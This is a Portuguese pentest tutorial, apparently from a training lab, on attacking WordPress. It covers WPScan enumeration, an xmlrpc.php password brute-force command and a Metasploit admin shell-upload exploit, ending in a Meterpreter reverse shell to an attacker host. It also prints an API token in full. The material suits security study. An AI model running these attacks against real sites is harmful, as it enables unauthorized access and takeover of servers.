WPScan é um processo automatizado para enumeração do WordPress. Ele ajuda determinar os vários temas e plugins usados no WordPress e se estão desatualizados ou vulneráveis. Ele pode ser instalado com o gem
.
gem install wpscan
Existem vários tipos de opções de enumeração que podem ser especificados, como plugins vulneráveis, todos os plugins, enumeração de usuários, e outros. O mais importante é entender todas as opções disponíveis e ser capaz de ajustar o software dependendo do objetivo.
WPScan pode verificar as informações das vulnerabilidades de fontes externas para auxiliar no scan. Nós podemos obter uma chave de API do site oficial do WPScan, que pode ser utilizado para auxiliar a criar exploits e POCs e relatórios. O plano gratuito permite a gente fazer 25 requisições por dia. Para usar o banco de dados do WPScan, devemos criar uma conta e copiar a chave API da página de usuário. Esse token pode ser especificado no WPScan usando a flag --api-token
.
--api-token gsPa1Gp1t9QePaqrf6GZxspelG8GtqltFj2gfuUFLos
Enumeração
A flag --enumerate
é usada para enumerar os vários componentes do WordPress, como plugins, temas e usuários. Por padrão, o WPScan enumera os plugins e temas vulneráveis, usuários, documentos, e backups. Contudo, especificar esse argumento pode restringir ou especificar o que será enumerado. Por exemplo, para enumerar todos os plugins, pode ser utilizado o --enumerate ap
.
Ataque de força bruta no xmlrpc.php
Também podemos usar o wpscan
para realizar um ataque de força bruta no xmlrcp
, para isso, podemos seguir o seguinte exemplo:
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com
Utilizando o Metasploit
Podemos também usar o Metasploit para realizar ataques e conseguir uma Reverse Shell automaticamente. Isso requer credenciais válidas e uma conta com permissões suficientes para criar arquivos no servidor. Isso pode ser feito da seguinte maneira:
msfconsole
Agora, com o console em mãos, podemos
msf5 > search wp_admin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
Selecionamos o exploit
msf5 > use 0
msf5 exploit(unix/webapp/wp_admin_shell_upload) >
E configuramos o exploit
msf5 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.10.16.8z4444
[*] Authenticating with WordPress using admin:Winter202@...
[+] Authenticated with WordPress
[*] Uploading payload...
[*] Executing the payload at /wp—content/plugins/YtyZGFIhax/uTvAAKrAdp.php...
[*] Sending stage (38247 bytes) to blog.inlanefreight.com
[*] Meterpreter session 1 opened
[+] Deleted uTvAAKrAdp.php
meterpreter > getuid
Server username: www—data (33)